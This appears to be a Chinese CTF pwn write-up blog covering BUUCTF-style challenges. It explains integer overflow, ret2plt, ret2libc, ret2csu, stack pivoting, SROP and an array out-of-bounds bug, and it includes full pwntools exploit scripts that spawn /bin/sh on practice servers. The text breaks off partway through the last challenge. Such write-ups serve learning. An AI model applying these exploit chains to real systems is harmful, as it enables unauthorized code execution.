数学99

  • 请输入图片描述
  • 第一个绕过,采用整数溢出,我选择8-(-1)的方法。但是v2里不能有负号怎么办?(45是‘-’的ASCII)
  • 那就要让它在 atoi 转换后,在计算机看来就是 -1
  • 于是-1->0xFFFFFFFF->'4294967295'
  • 4294967295 的十六进制是 0xFFFFFFFF。在 32 位有符号整数 int中,0xFFFFFFFF 对应的数值是 -1
    请输入图片描述
  • 利用整数溢出int只会截取低位的32位,因此要让v1 * v2 == 9,也就是v1 * v2%2^32==9即可捏,算一下,发现:23和933688543满足捏
    请输入图片描述
  • 这个在IDA里分析一下,发现我们要进入handler函数

signal(8, handler):在 Linux 系统中,数字 8 代表信号 SIGFPE(Arithmetic Exception,算术异常)。
这句代码的意思是:如果接下来的程序运行中发生了算术错误(比如除以 0 或者刚才提到的整数溢出),不要直接关闭程序,而是立刻跳到 handler 函数去执行

signal(8, 0):如果除法平安无事地结束了(没有触发异常),这句代码会把信号处理恢复原状(0 代表默认行为)。这意味着如果你没有成功触发错误,程序就永远不会进到 handler 函数里。

_DWORD v2[2]: 定义了一个包含两个 32 位整数(DWORD,即 Double Word)的数组。

  • 于是,我们目标就是,在v2[0]不为0的情况下,触发除以 0 或者刚才提到的整数溢出的异常。这里还是利用整数溢出
  • 设定 a=−2147483648(这是 32 位有符号整数能表示的最小负数,-2^31)设定 b=−1
  • −2147483648÷−1=2147483648,但 32 位有符号整数最大只能表示 2147483647(2^31−1)。,于是触发整数溢出的异常,抛出 SIGFPE 信号,进入handler 函数。

jarvisoj_level2

请输入图片描述

  • system函数已经在程序里了,可以直接获取plt来执行,但是问题就是/bin/sh\x00参数不在,本来我是想通过LibcSearcher算出offset再来获取通过system@got+offset来算出/bin/sh\x00的地址,但是这题完全没有可以执行打印功能的函数,echo作为一个shell命令又执行不了,伤脑筋捏...
  • 于是学会了"Ret2PLT",也就是把/bin/sh\x00或者sh\x00写入内存地址的.bss或者.data段。

.data(数据段):存的是那些有初始值的变量。因为有值,这些值必须实打实地存在于你的硬盘文件(ELF 文件)里。
.bss(BSS 段):存的是那些未初始化的变量。既然没初始值,操作系统在加载程序时,会默认把这块区域全部清零(填充为 \x00)。

  • 随后栈溢出到getsread函数,之后send出去/bin/sh\x00或者sh\x00,写入预先选择好的连续地址,这里要注意:**要选取长度为8或3的连续地址,比如要写入/bin/sh\x00,则至少要用8个空行,如果要写sh\x00,则至少要有3个空行,这两个参数都可以getshell。
  • 关于空地址的判断:只有db 0 db ? ;的即为空地址,如果有;开头的参数,则一般表示这个地址最开始不会用到,但是随着程序进行,之后会用到。
    请输入图片描述
  • read and gets的选择:

    • gets(addr):只需要一个参数(目的地)。->必须用 sendline(它们会一直读,直到遇到换行符(\n)才停止,并把换行符替换为 \0)
    • read(0, addr, count):需要三个参数(0 代表键盘输入,目的地,读取的字节数)->推荐用 send,因为 sendline会比 send多发送一个\n换行符。
  • 这里要注意一下 read的第一和第三这种数字型参数也要用p32或者p64包裹
  • Exploit:
from pwn import*
from LibcSearcher import *
p = remote('node5.buuoj.cn',28490 ) 
elf = ELF('./PWN/BUU2_win/pwn')
context(arch='i386', os='linux', log_level='debug')
#print(elf.plt.keys()) 
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.symbols['main']
payload1=b'A'*140+p32(read_plt)+p32(main_addr)+p32(0)+p32(0x0804A01D)+p32(3)
p.sendline(payload1)
p.send(b'sh\x00')
payload2=b'A'*140+p32(system_plt)+b'AAAA'+p32(0x0804A01D)
p.sendline(payload2)
p.interactive()
  • 这里贴一个AI给的栈结构作为备忘
    请输入图片描述

ciscn_2019_c_1

  • 这道题就是一个ret2libc,但是有一个绕过payload破坏的方法需要学习
    请输入图片描述
  • s就是我们操作栈溢出的变量,但是后面可以看到,有异或来破坏payload,而且后续还有x变量的大小检查,很麻烦。
  • 但是, if ( v0 >= strlen(s) ) break; 这个语句创造了绕过机会,我们可以在payload开头加上b'\x00',这样,strlen一读到开头的结束符,就以为字符串结束了,这样算出来的长度是0,而x作为一个全局变量在.bss段,操作系统的加载器在把程序装载到内存、准备执行 main 函数之前,它会自动把 .bss 段里的所有内存清零,于是 v0 = strlen(s),直接break了捏。
    请输入图片描述
  • 还有一个小点要注意一下,就是后面有两个puts()(一个是puts("Ciphertext");,一个是最后的那个puts(s),因为我门前面的payload是\x00开头,而puts一读到\x00就会结束,并输出一个\n,所以这里最后的puts(s)还会输出一个\n喵,所以exp要写: p.recvuntil('\n\n') 是谁最后忘加'\n'了破防了半天
  • Exploit:
from pwn import *
from LibcSearcher import *
elf = ELF('./PWN/BUU8/pwn')
p = remote('node5.buuoj.cn',28394) 
context(arch='amd64', os='linux', log_level='debug') 
# ROPgadget --binary ./pwn --only "ret"
# ROPgadget --binary ./pwn1 --only "ret|pop|rdi"
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload=b'\x00' + b'A' * 87+p64(0x0000000000400c83)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('Input your choice!',b'1')
p.sendline(payload)
p.recvuntil('\n\n')
leak_puts=u64(p.recvline()[:-1].ljust(8, b'\0'))
print(hex(leak_puts))
#p.interactive()
libc = LibcSearcher("puts", leak_puts)
offset_puts = libc.dump("puts")
offset_system = libc.dump("system")
offset_binsh = libc.dump("str_bin_sh")
libc_base = leak_puts - offset_puts
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh
payload2=b'\x00' + b'A' * 87+p64(0x00000000004006b9)+p64(0x0000000000400c83)+p64(binsh_addr)+p64(system_addr)
p.sendline(b'1')
p.sendline(payload2)
p.interactive()

jarvisoj_level2_x64——ret2csu

请输入图片描述

  • 这题没有开RELRO,按理来说应该直接用got表覆写来做,但是我最开始选择了ret2libc来做,但是做着做着发现,诶,最后没有pop rdx?那我read的第3个参数怎么传?
  • 于是学会了Ret2CSU
  • 那么分析上面那个题目,就是简单的调用system函数,然后system函数再去寄存器里找sh\x00参数,可是没有pop rdx的指令,导致我们无法完整的传入read函数所需要的参数,但是我们可以使用__libc_csu_init 函数来间接控制rdx寄存器

几乎所有 Linux 程序(只要不是被静态编译或去除了关键函数)都会包含 __libc_csu_init 函数,用来初始化 C 库。

  • 使用指令objdump -d ./pwn 查看__libc_csu_init 函数
    请输入图片描述
  • 可以看到有一条指令mov %r13,%rdx,把r13寄存器的内容移动到rdx寄存器,我们利用这条指令就可以实现对寄存器rdx的间接控制,再往下看,下方有很多pop指令,因此,我们要先利用这些pop
    指令来写寄存器,随后通过mov指令来间接控制我们需要的三个寄存器。
  • 但是:
    请输入图片描述
  • 这四条指令比较麻烦,call *(%r12,%rbx,8)是基址寻址(或许?),他的功能是:目标内存地址=r12+(rbx×8),但r12本应该是我们要调用的下一个函数,如果没有控制好rbx,就会call一个非法地址,所以rdx我们要给0。
  • ` 40069d: 48 83 c3 01 add $0x1,%rbx
    4006a1: 48 39 eb cmp %rbp,%rbx
    4006a4: 75 ea jne 400690 <__libc_csu_init+0x40>`
    是给rbx加1,然后比较rbxrbp,如果他们两个数不相等,就跳回到 0x400690 那里去循环执行,所以我们还要控制rbp
  • 随后因为你第二进入 400690后,程序会一直往下跑,所以会再次遇到那些连续的pop和一个add $0x8,%rsp(栈顶往上挪 8 字节),所以我们还要准备一个56 字节的废料给他们消耗。
  • 最终csu gadget
# 这是一个万能公式
def csu_gadget(read_length, write_addr, fd, target_func_got, next_addr):
    payload = p64(0x4006AA) # Gadget 1: 控制段 (那些 pop)
    payload += p64(0)       # rbx = 0
    payload += p64(1)       # rbp = 1 (为了顺利过 cmp 指令)
    payload += p64(target_func_got) # r12 = 你要调用的函数在 GOT 表的地址
    payload += p64(read_length)     # r13 -> rdx (参数 3)
    payload += p64(write_addr)      # r14 -> rsi (参数 2)
    payload += p64(fd)              # r15 -> rdi (参数 1)
    
    payload += p64(0x400690) # Gadget 2: 执行段 (那些 mov 和 call)
    
    payload += b'A' * 56    # 56 字节废料,应对那 6 个 pop 和 1 个 add rsp
    payload += p64(next_addr) # 最终返回地址(比如 main)
    return payload

# 在你的 payload1 里这样调用:
payload1 = b'A' * 136 + csu_gadget(16, 0x600A99, 0, elf.got['read'], main_addr)
  • 当 CPU 执行到 4006b4ret 时,它最终才会从栈顶取出一个地址,并跳过去,这时整个 __libc_csu_init 函数才结束
  • Exploit:
from pwn import *

elf = ELF('./PWN/BUU9/pwn')
p = remote('node5.buuoj.cn', 26307) 
context(arch='amd64', os='linux', log_level='debug') 

csu_pop = 0x4006AA
csu_mov = 0x400690
read_got = elf.got['read']
system_plt = elf.plt['system']
main_addr = elf.symbols['main']
bss_addr = 0x0000000000600A99
ret = 0x4004a1
pop_rdi_ret = 0x4006b3

def csu_gadget(rbx, rbp, r12, r13, r14, r15, last_addr):
    payload = p64(csu_pop)# 进入pop
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_mov)# 进入mov
    payload += b'A' * 56
    payload += p64(last_addr)
    return payload

p.recvuntil(b'Input:\n')

payload1 = b'A' * 136 
payload1 += csu_gadget(0, 1, read_got, 3, bss_addr, 0, main_addr)

p.sendline(payload1)
sleep(0.2)
p.send(b'sh\x00') 

p.recvuntil(b'Input:\n')

payload2 = b'A' * 136
payload2 += p64(ret)
payload2 += p64(pop_rdi_ret)
payload2 += p64(bss_addr)
payload2 += p64(system_plt)

p.sendline(payload2)
p.interactive()

get_started_3dsctf_2016

请输入图片描述

  • 这题卡了我好久,就是不知道哪里错了,最后查题解总结两个知识点:
    1. 这题没有开标准输入输出,如果返回地址随便填,那么最后的flag会输出到缓冲区中,而只有exit执行后会能将缓冲区输出,刷新缓冲区,才能爆flag。于是最终返回地址需要填exit函数的地址。
      请输入图片描述
  • 2.该题的main函数最开始没有push ebp,由于函数开头没有 push ebp,栈上就没有saved ebp,于是payload的padding就不用多加4个废料字节了去填充saved ebp了。

others_shellcode

请输入图片描述

  • 这题没什么好说的,主要就是记录一下下面两条代码的意思
  • __asm { int 80h; LINUX - sys_execve }

    • __asm 是是一个关键字,它在 C 代码里开辟了一块“汇编区”,它告诉编译器:“接下来的内容我直接写汇编,你别管,直接把它们原封不动地翻译成机器码就行。”
    • int 是 Interrupt(中断) 的缩写,80h是 Linux 专门留给用户程序调用内核功能的“唯一窗口”。当你执行这条指令时,CPU 会立刻停下当前的程序,保存现场,然后跳进 Linux 内核的受保护区域。
  • return 11;汇编底层指令通常是 mov eax, 0xb,它把数字 11 塞进了 EAX 寄存器,内核过来后,第一眼看的就是 EAX。如果 EAX 是 1,内核就知道你要“退出程序”。如果 EAX 是 4,内核就知道你要“打印文字”。如果EAX 是 11,内核就知道你要“执行新程序” (execve)。
  • 关于x86常用的4个寄存器
    请输入图片描述

    寄存器存储内容 (Value)逻辑意义 (Meaning)关键要求 (Key Requirements)
    EAX11 (0xb)业务编号 (Syscall ID)必须绝对准确。填错编号会调用完全不同的功能(如填 1 是退出,填 4 是写入)。
    EBX字符串地址程序路径 (filename)必须是存放 "/bin/sh"内存地址,绝对不能直接填字符串的 Hex 值。
    ECX数组地址参数列表 (argv)指向一个存地址 of 地址的数组。数组首项通常是 EBX 的地址,末项必须为 0 (NULL)。
    EDX0 (NULL)环境变量 (envp)在简单的 Pwn 题目中通常设为 0,表示不使用额外的环境变量。
  • 执行流程:

执行 int 80h 中断后,到底发生了什么?

当你(用户程序)敲响了 int 80h 这面大锣,程序就像按下了“时空静止键”。接下来的过程非常硬核:
第一阶段:身份切换(从民用到军用)

权限升级:CPU 从 Ring 3(用户态) 切换到 Ring 0(内核态)。在用户态,你不能直接碰硬件;在内核态,你可以掌控一切。

现场封存:内核会自动把你当前的寄存器(EAX,EBX 等)和下一条指令地址(EIP)暂时存起来,就像玩游戏时的“存档”。

第二阶段:内核“查户口”

查找中断向量表:内核查看 80h 这个编号,发现对应的“柜员”是系统调用处理程序。

核对业务编号:内核低头看你的 EAX 寄存器。

    发现是 11(0xb),内心 OS:“又是要搞 execve 的,想换个马甲。”

第三阶段:执行 sys_execve(重生仪式)

这是这道题最关键的一步。内核不会“回到”原来的程序,而是开始执行以下动作:

参数校验:顺着 EBX 指向的地址去看,确认是不是真的写着 "/bin/sh"。

大扫除:内核把你当前程序的所有内存内容(原来的 main 函数、你的变量 v4、甚至你刚才辛辛苦苦写的溢出数据)全部格式化、清空。

重新装载:去硬盘里找到 /bin/sh 这个程序,把它读进你原来的内存空间里。

改写起点:把存档里的 EIP(指令指针)改成 /bin/sh 的入口地址。
  1. 中断结束后干什么?

普通的系统调用(比如打印一个字符)结束后,会执行 iret 指令,让你回到原来的代码继续跑。

但 execve 是个例外!
因为它把原来的程序“抹除”了,所以它永远不会回到 int 80h 的下一行代码(也就是你代码里的 return 11 永远不会被执行)。

结局:CPU 重新降级回 Ring 3。

状态:此时,原来的程序已经消失了。你的进程依然在跑,但它现在的灵魂是 Bash Shell。

  • gemini sama太强了

BSidesSF_2026_inheritance

请输入图片描述
请输入图片描述

  • 这题把flag写入了一个匿名内存文件,我们的目标就是去读取这个匿名文件内的flag.
  • 这题直接发/bin/sh的话会报没开tty的警告,但是依然可以正常cat,不知道啥情况,可能是他本身就是一个完整的shell?

内核里保留了一个名为 TTY 的子系统。它现在不再连接物理电线,而是连接终端模拟器(比如你的控制台、Xterm、甚至是 VS Code 的终端)。

它最核心的活儿叫 Line Discipline(线路规程)。你可以把它想象成一个翻译官:

回显 (Echo):你敲一个 a,屏幕上立刻显示一个 a。这其实不是 Shell 显示的,而是 TTY 子系统收到你的信号后,立刻原样发回给你的屏幕。

行编辑:你输入 lss 发现错了,按退格键 (Backspace)。TTY 会截获这个信号,帮你删掉缓冲区里的 s,而不是直接把“退格信号”发给程序。

信号转换:你按下 Ctrl+C。TTY 会识别出这个特殊组合,然后给当前进程发一个 SIGINT(中断)信号。

  • 按道理来说这题本来是让你去使用 cat /pro?/sel?/f?/6来绕过检测去匹配文件的(
  • /proc是一个伪文件,他不会占用磁盘空间,而是只占用内存空间,里面存放了一些pid和系统级信息文件,这个程序创建的匿名文件就在这种目录下面。
  • 同时利用self可以使得无论哪个进程访问 /proc/self,内核都会自动把它指向当前正在访问它的那个进程自己的 PID 目录。也就是说:程序 A 访问 /proc/self 看到的是程序 A 的信息;程序 B 访问它看到的是程序 B 的信息。
  • 关于[],*,?这三个通配符的区别:

    符号匹配规则例子匹配效果
    *匹配任意长度(0 个或多个)字符cat f*能匹配 f, flag, functions, f12345
    ?匹配有且仅有一个字符cat f???能匹配 flag, f123不能匹配 fflags
    []匹配括号内指定的某一个字符cat f[l]ag只能匹配 flagf[a-z]ag 能匹配 faag, fbag ...

ciscn_2019_es_2——栈迁移

  • 一道x86的栈迁移+ret2libc,不会栈迁移捏,现学现卖喵~
    请输入图片描述
    请输入图片描述
  • 上图就是主要函数
  • 可以看到,如果我想ret2libc,就需要大于0x30read长度,可是read长度被限制得死死的两,于是采用栈迁移。
  • 这边有两个read,在第一次执行vul函数的时候,我选择拿第一个read来泄漏saved ebp,s的长度是40,一般来说,在s这一块空间的末尾,都会有一个字符串结束符\x00,用于停止prinf的打印,防止他把saved ebp打印出来,但是我们只需要把s的空间全部覆盖满,那便可以把末尾的\x00给覆盖掉,这时候printf("Hello, %s\n", s)就会顺势把saved ebp的真实内存地址也打印出来,但是这里有两点需要注意:

    • 1.最好使用send来发payload,不然padding后面会跟上一个\xa0,影响后续的字符串接收
    • 2.这个saved ebp并不是当前ebp的地址,他是main函数中ebp的地址,因为当前函数stack中的ebp基址是来自上一层调用这个函数的那个函数的ebp地址的,所以到时算s的绝对地址的时候,要记得减去offset,当然,直接去gdb里查出当前这个函数的ebp地址更方便。
    • 就是这样喵
      请输入图片描述
    • 查询就是打断点到call vul的地方,然后si进入,之后n单步运行汇编到mov ebp, esp结束后,此时ebp里的就是当前的基址了。
  • 随后可以开始第一次栈迁移了
  • 我们可以把rop链存放在s中,把s当作“新栈“来泄漏puts@got,由于leave的特性->要执行pop ebp,所以rop的开头要填入四个废料字节去喂饱pop,但是这样会导致当前的ebp变为0x41414141废掉,影响我们第二次栈迁移,这个后面再讲。
  • 随后按照ret2libc写好rop,然后把s中剩余的空间填充满padding,然后继续构造rop,把当前的save ebp劫持为s
    的绝对地址,为了让esp能够迁移到新栈,然后再加一个leave; ret执行esp迁移到新栈的指令。
  • 这条payload发生的时候一样不要用sendline,因为sendline会多发一个\n,导致\n残留在缓冲区,下次运行vul时,会被read直接读入引发dumped core,当然,这也只是这题限制只能读0x30这么多字符的原因,哪怕他多给我一个字符的空间,都不至于我当时卡那么久。(其实是我太水了)
  • 这里还要注意一点,就是在刚才泄漏save ebp的时候,由于我是直接recv(4),这会导致后面的剩余字节留在缓冲区,导致后续泄漏puts@got时一起和puts@got还有prinf打印的s吐出来,影响puts@got读取,所以需要两个p.recvline()来收废品(
  • 然后开始第二次栈迁移
  • 那么由于第一次栈迁移把那个ebp毁了,并且我们还不能用上一次的‘s’绝对地址,所以这下我们就要换方法泄漏了,如果还按之前那个printf的方法泄漏,只会打印出一堆\x41喵。
  • 于是分析一下指令:

    • 1.第一次迁移后,栈被搬到了 real_s_addr
    • 2.经过 pop ebp (用掉4字节) 和 ret (用掉4字节跳去 puts) 后,栈指针 esp 来到了 real_s_addr + 8。此时,stack是这样的:
【刚刚进入 puts 函数的瞬间】
高地址
| real_s_addr + 12 : puts_got | <-- 传给 puts 的参数
| real_s_addr + 8  : vul_addr | <-- esp 正指着这里!(存放着 puts 结束后的返回地址)
| real_s_addr + 4  : puts_plt | (已经弹出了)
| real_s_addr + 0  : 'AAAA'   | (已经弹出了)
低地址

puts 执行了它生命中的最后一条指令:ret后,CPU 把当前 esp 所指地方的数据(也就是 vul_addr)弹出来,塞进 EIP 寄存器,然后CPU 准备跳回 vul 函数。现在的stack是:

【puts 刚刚 ret 完,还未执行 vul 的瞬间】
高地址
| real_s_addr + 12 : puts_got | <-- esp 现在指着这里!
| real_s_addr + 8  : vul_addr | (虽然数据还在,但在栈顶之下了)
低地址

指针上移: 伴随着弹出,esp 会向高地址移动 4 个字节!
最后,程序的控制权来到了 vul 函数的开头(vul_addr),vul 函数的第一条指令,就是函数序言:push ebp,于是指针下移: esp = esp - 4。所以 espreal_s_addr + 12 又降回到了 real_s_addr + 8。最后存入数据: 把当前废弃的 ebp 值存入这个地址。紧接着,vul 执行第二条序言指令:mov ebp, esp。

【vul 序言执行完毕的瞬间】
高地址
| real_s_addr + 12 : puts_got |
| real_s_addr + 8  : (旧ebp)  | <-- ebp 和 esp 现在同时指着这里!!!
低地址

(其实从puts函数的leave指令最终会pop saved ebp来推测,也可以推测出 real_s_addr + 8 就是当前这个新栈的real ebp)

  • 3.puts 执行完返回 vul,此时重新执行 push ebp; mov ebp, esp。新的 ebp 就落在了 real_s_addr + 8 的位置。
  • 4.vul 分配变量 s 的空间:sub esp, 0x28
  • 5.所以,新的变量 s 的绝对地址 = 新的 ebp - 0x28 = (real_s_addr + 8) - 0x28 = real_s_addr - 0x20
  • 于是,EXP为:
from pwn import *
from LibcSearcher import *
#ROPgadget --binary ./pwn | grep leave
p = remote('node5.buuoj.cn',27485)
elf = ELF('./PWN/BUU24/pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vul_addr =0x8048595
leave_ret_addr=0x08048562
main_ebp_offset_vul_ebp=0x10
s_offset=0x28
#---------------------------
#泄漏ebp绝对地址
payload1=b'A'*40
p.sendafter(b'Welcome, my friend. What\'s your name?\n',payload1)#最好别多发一个'\n'
sleep(0.2)
p.recvuntil(b'A' * 40)
ebp_leak = u32(p.recv(4))
print(hex(ebp_leak))
#p.interactive()
#---------------------------
#第1次栈迁移
#布置泄漏puts_addr的rop
sleep(0.2)
payload2=b'AAAA'#喂给pop ebp
payload2+=p32(puts_plt)
payload2+=p32(vul_addr)
payload2+=p32(puts_got)
payload2 = payload2.ljust(40, b'A')#把剩下的空间填满到40字节
real_s_addr=ebp_leak-s_offset-main_ebp_offset_vul_ebp
payload2+=p32(real_s_addr)
payload2+=p32(leave_ret_addr)
p.send(payload2)
p.recvline()
p.recvline()
puts_addr=u32(p.recv(4))
print(hex(puts_addr))
#0x6c6c6548
#p.interactive()
#---------------------------
#第2次栈迁移
sleep(0.2)
payload4=b'a'
p.send(payload4)
sleep(0.2)

libc = LibcSearcher("puts", puts_addr )
offset_puts = libc.dump("puts")
offset_system = libc.dump("system")
offset_binsh = libc.dump("str_bin_sh")
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh

real_s_addr_new=real_s_addr+0x8-s_offset

payload3=b'AAAA'
payload3+=p32(system_addr)
payload3+=p32(vul_addr)
payload3+=p32(binsh_addr)
payload3 = payload3.ljust(40, b'A')#把剩下的空间填满到40字节
payload3+=p32(real_s_addr_new)
payload3+=p32(leave_ret_addr)
p.send(payload3)
p.interactive()

[HarekazeCTF2019]baby_rop2

  • 这题本来是一个很简单的ret2libc,但是我第一次泄漏printf的时候死活泄漏不出来,检查了半天,就是不知道哪里错了,后续研究了一下,总结一点:
    题目的图我懒得截了
  • 由于计算机小端存储的原因,计算机所存的地址是反着存的,而字符串结束符是\x00,如果当前的printf的地址是0xNNN00,那存到计算机里,就变成了\x00 \xNN \x0N,那当printf函数一看到第一个字节就是 \x00时,它就以为当前字符串直接结束了,所以直接结束打印,那后面的\xNN \x0N就打印不出来了。
  • 所以以后遇到这种情况就换成另一个函数来泄漏就可以了~

pwn2_sctf_2016

  • 这题用 LibcSearcher 不行啊,试了半天,我一直以为是我的脚本写错了,唉...给我整急了,最后去BUU下载对应版本的libc库才做出来...
    请输入图片描述
    请输入图片描述
  • 这题目标是要成功执行ret2libc,要绕过前面的检测。
  • 要利用整数溢出漏洞,可以看到vulnv2是有符号的,但是get_n中的a2却是无符号的,而a2是由v2传入的,那如果传入-1的话,v2就等于-1,但是到了a2,却会让a2等于‘0xFFFFFFFF’,作为无符号数的话,这个值足以可以顺利给后续的栈溢出留足空间。
  • 于是开始栈溢出,传入-1的时候要注意一点,就是‘ v4 = getchar();’需要的是字符,所以需要用b''包裹来传入字节流,不要用p32来传入机器数。
  • 其次就是我泄漏的是printfgot,但是用printf@plt打印的时候,除了会打印出printf@got,还会打印出其它的东西,那是因为printf 函数在执行时,会把第一个参数当作一个字符串的起始地址。它会从这个地址开始,一个字节一个字节地往后读后续地址里存储的数据,并且打印出来,直到它读到一个值为 \x00 的字节为止
  • 还有就是在接收泄漏的地址的时候,一定要注意程序最后还有没有其他输出,不然极其容易接错内容...
  • 最后就是在看函数地址的时候,鼠标千万别在ida里点某一条语句,我已经因为这样而搞错地址好几次了...
  • 于是,exp:
from pwn import *
from LibcSearcher import *
context(arch='i386', os='linux', log_level='debug') 
#ROPgadget --binary ./pwn | grep leave
p = remote('node5.buuoj.cn',28159)
elf = ELF('./PWN/BUU28/pwn')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
vuln_addr=0x804852F
payload1=b'-1'
p.sendlineafter(b'How many bytes do you want me to read?',payload1)
sleep(0.2)
#p.interactive()
payload2=b'A'*48
payload2+=p32(printf_plt)
payload2+=p32(vuln_addr)
payload2+=p32(printf_got)
sleep(0.2)
p.sendlineafter(b'Ok, sounds good. Give me 4294967295 bytes of data!\n',payload2)
p.recvline()
leak_data=u32(p.recv(4))
print(hex(leak_data))
sleep(0.2)
'''libc = LibcSearcher("printf", leak_data )
offset_puts = libc.dump("printf")
offset_system = libc.dump("system")
offset_binsh = libc.dump("str_bin_sh")
libc_base = leak_data - offset_puts
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh'''

libc = ELF('./PWN/BUU28/libc-2.23.so')
offset_printf = libc.symbols['printf'] 
offset_system = libc.symbols['system']
offset_binsh = next(libc.search(b'/bin/sh\x00'))
libc_base = leak_data - offset_printf
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh

payload1=b'-1'
p.sendlineafter(b'How many bytes do you want me to read?',payload1)
sleep(0.2)

payload3=b'A'*48
payload3+=p32(system_addr)
payload3+=p32(vuln_addr)
payload3+=p32(binsh_addr)
sleep(0.2)
p.sendline(payload3)

p.interactive()

ciscn_2019_s_3——SROP

  • 这题有两种解法,一种是ret2csu,一种是srop,我这里用srop来写。
  • 但是我本地打通了这题,远程死活不通,后来看了题解,发现是本地的偏移量和远程不一样...昏迷了T_T
    请输入图片描述
  • 这题调用的sys_readsys_write都是内核级的,它们都不是库函数,而是内核系统调用,所以pltgot表中都查不到,毕竟他们都是系统调用号,是用syscallint 0x80指令来触发的,他们会触发一个特权级切换,CPU 从用户态切换到内核态,然后内核根据寄存器(如 rax)里的编号来决定执行什么操作,所以无法使用ret2libc

sys_write 通常只是程序员或编译器为了方便记忆给系统调用号(例如 1)起的一个代号。它在二进制文件中并没有对应的函数入口地址,它只是一个传递给内核的整数索引。

  • 可以看到,gadgets函数的mov rax, 0Fh,利用这个函数将rax设置成15后,可以触发rt_sigreturn,看到这里我就觉得可以用srop,后续搜题解的时候看到了利用csu来控制寄存器的值来触发execve(“/bin/sh”,0,0)的这个方法,确实可行,但是感觉整体有点麻烦。
  • 这里sys_write只能写到buf里,而且后续的rdi需要/bin/sh\x00的地址,所以我要先把/bin/sh\x00字符串写入到buf开头,再获得它的绝对地址,最后赋值给rdi,因此,现在需要选择一个基础锚点来为后续的偏移计算打下基址。
  • 于是,先把偏移量找出来先,main 函数开始时,RSI 存的便是栈地址,所以先找栈地址,下面开始动态调试:
    请输入图片描述
  • 可以看到栈地址就是0x7fffffffdbb8,然后还可以看到main函数藏东西了,0x400528 <main+11> mov qword ptr [rbp - 0x10], rsi,把当前rsi里的栈地址压入到rbp - 0x10的地方,继续跟踪这个地址:
    请输入图片描述
  • 确实是这样,那继续动态调试,看看这个地址最终会放到哪,为后续的地址泄露做好准备,后续运行到 syscall <SYS_read>后,输入AAA,因为此时写入到了buf开头,所以后续我们可以通过AAA这个标记来获得buf地址,进而获取偏移量
    请输入图片描述
  • 此时已经写入AAA了,其实已经可以得到buf的地址了,但是还是用telescope $rbp-0x20 20再看一下,这个指令的意思就是从rbp-0x20的位置开始向后打印20行栈地址。
    2026-04-01T07:31:04.png
  • 现在可以计算offset了,并且也确定了栈地址的泄露距离,当然,直接search AAA也可以。
    2026-04-01T07:33:43.png
  • 所以偏移量为0x148
  • 另外,这vuln函数的最后居然没有leave而是直接ret了,所以save rbp可以直接覆盖为mov rax, 0Fh指令的地址,来修改rax寄存器,这里最好不要覆盖为gadgets函数的地址,因为函数序言有可能会干扰rop链。
    2026-04-01T07:53:20.png
  • 现在知道了偏移量以及栈地址的泄露距离,后续就是编写SROP攻击链就完事了喵~
    exp:

    from pwn import *
    from LibcSearcher import *
    elf = ELF('./PWN/BUU30/pwn')
    #libc = ELF('./PWN/BUU30/libc-2.27.so')
    #p = remote('node5.buuoj.cn',26055)
    p = process('./PWN/BUU30/pwn')
    context(arch='amd64', os='linux', log_level='debug')
    ret_addr=0x00000000004003a9
    pop_rdi_ret_addr=0x00000000004005a3
    vuln_addr=0x4004ED
    offset = 0x158
    
    payload = b'/bin/sh\x00' + b"A"*8 + p64(vuln_addr)
    p.send(payload)
    p.recv(0x20)
    leak_data=p.recv(6)
    base_addr = u64(leak_data.ljust(8, b'\x00'))
    print(hex(base_addr))
    
    bin_sh_addr = base_addr - offset
    
    gadgets_addr = 0x4004DA 
    syscall_addr = 0x0000000000400501 
    frame = SigreturnFrame()
    frame.rax = 59              
    frame.rdi = bin_sh_addr     
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall_addr
    
    #ROPgadget --binary pwn | grep  "syscall"
    
    payload2 = b"/bin/sh\x00".ljust(0x10,b'A') + p64(gadgets_addr) + p64(syscall_addr) + bytes(frame)
    p.send(payload2)
    
    p.interactive()

CTFSHOW_pwn_签退——OOB,FSOP

  • 这道题我做了好久,不过也学到了很多,最后我参考了这位大佬的题解才搞定->大佬的WP
  • 感谢大佬的WP orz orz orz
  • 这题主要涉及了ret2libc,数组越界访问漏洞Array OOB,文件流劫持FSOP
  • 先拖进IDA里一顿乱分析:
    2026-04-02T16:44:50.png
  • 这是主要函数,总体来讲就是一个邮件添加,发送与删除的服务,邮件letter是存储在栈上的。
    2026-04-02T16:46:14.png
    2026-04-02T16:46:36.png
  • 这俩就是添加letter的逻辑,分析一下,v4是一个长度为1328的数组,传给函数v4,那么函数里的a1就是v4的数组首地址,*(_DWORD *)来解引用,264 * i和后面的常量充当偏移量,于是可以确定:
*(_DWORD *)(264 * i + a1 + 4) = sub_80486D9(264 * i + a1 + 8, 256);
  • 这里大概就是把字符写入letter的地方,在264 * i + a1 + 4的位置存储了letter的长度,264 * i + a1 + 8起开始写入letter正文。
  for ( i = 0; i <= 4 && *(_DWORD *)(264 * i + a1); ++i )
  ;
....
*(_DWORD *)(264 * i + a1) = 1;
  • 结合前面的memset(v4, 0, 0x528u);可知,初始化的时候,v4全被初始为0,后续只要写入一个字符,264 * i + a1标识位就变成1,然后for循环一直检查,只有当i <= 4且当前的264 * i + a1标识位为1时(也就是当前这个位置已经写入了一个letter了,所以后续写入的文件要后移,排在当前letter的后面)才i++
  • 然后可以知道一个letter的内容长度为256?NONONO!我也给骗了最开始,但是仔细看sub_80486D9函数,while循环只执行了255次,所以有效的正文长度为255,最后的*(_BYTE *)(a1 + v5) = 0;给末尾添加上了\x00,此时letter的内容总字符长度达到了256确实没错,但是有效的正文长度只有255!并且while循环结束后,返回了v5,但此时v5是等于255的,所以其实这个函数只是返回了有效的正文长度255,所以264 * i + a1 + 4的位置存储的letter的长度就是255,现在再来看发送函数。
    2026-04-02T17:15:01.png
    2026-04-02T17:15:19.png
